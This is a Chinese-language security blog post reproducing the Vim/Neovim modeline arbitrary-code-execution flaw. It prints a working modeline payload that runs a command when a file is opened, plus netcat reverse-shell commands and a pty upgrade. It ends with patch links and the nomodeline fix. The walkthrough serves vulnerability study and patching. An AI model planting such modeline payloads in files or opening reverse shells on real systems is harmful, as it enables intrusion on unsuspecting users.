Vim通过Modelines执行任意代码

3 个月前 文章归档 37

漏洞概要:

在8.1.1365之前的Vim和在0.3.6之前的Neovim很容易通过打开特制的文本文件而通过模型执行任意代码。

 

复现条件: 

确保未禁用modeline选项（:set modeline）。

开启该选项:

# cd    /usr/share/vim

# vim   vimrc

       写入->       :set modeline

复现过程:

1.创建poc.txt

命令#vim   poc.txt

:!uname-a||" vi:fen:fdm=expr:fde=assert_fails("source\!\\%"):fdl=0:fdt="

 

2.用vim打开poc.txt

可以看到vim在打开poc.txt的时候执行了uname -a命令

 

 

进阶:

创建反弹shell

1.监听反弹端口

#nc –lvp 9999

 

2.创建shell.txt

参考链接: https://github.com/numirias/security

这里我直接克隆它的项目

#git clone https://github.com/numirias/security

#vim shell.txt

 

打开后反弹shell

可以执行命令，但是不知道为什么第二次打开就不可以了……

优化shell：    python -c "importpty;pty.spawn('/bin/bash')"

 

更换思路:

把uname –a 更换为 Nohup nc 127.0.0.1 9999 –e /bin/sh

 

这样也成功反弹shell了，不过这个shell是脆弱的

 

修复建议:

一:打补丁

Vim补丁8.1.1365

https://github.com/vim/vim/commit/5357552

 

Neovim补丁（在v0.3.6中发布）

https://github.com/neovim/neovim/pull/10082

https://github.com/neovim/neovim/releases/tag/v0.3.6

 

二:在vimrc（set nomodeline）中禁用model，使用securemodelines 插件

 

推荐阅读：

你和女朋友之间只差一台“计算机” 意外发现一套cms的注入漏洞 今天除了皮，我还做了这些事情 黑客是这样黑掉LED显示器（附视频全过程） 我给网线背后的"键盘侠"打了个电话并骂了对方一通 当钓鱼网站遇上白帽子黑客

 

（文章转载请注明来自：IT同路人论坛）

长按二维码识别关注

“IT同路人”微信公众号

投稿邮箱：[email protected]

工欲善其事，必先利其器。

推荐阅读：

收藏
Post a comment

最新评论

最新文章

标签

社会工程学 (31) clash (14) 猜密码 (14) 对话聊天 (13) AI人工智能 (13) AI (12) 俺的招聘经验 (7) wooyun (5) 大圣文本查询器 (4) web渗透测试 (2) 贴吧工具 (2) 劳东燕老师 (2) 海上钢琴师 (1) 太阳之下 (1) 匿名免登录在线AIchat (1) 逃离乌托邦 (1) CDN官方 (1) RFID无线射频安全 (1) 熊猫哥博客 (1)

分类

powered by 留言建議
臺灣ICP000000001 sitemap
注册用户：31 人|今日活跃：1 人|今日更新：0 篇|本站已有26993人访问|今日有265人访问|您的IP为：216.73.216.32
活跃会员：pandahom
qrcode

歡迎關註,獲取最新資源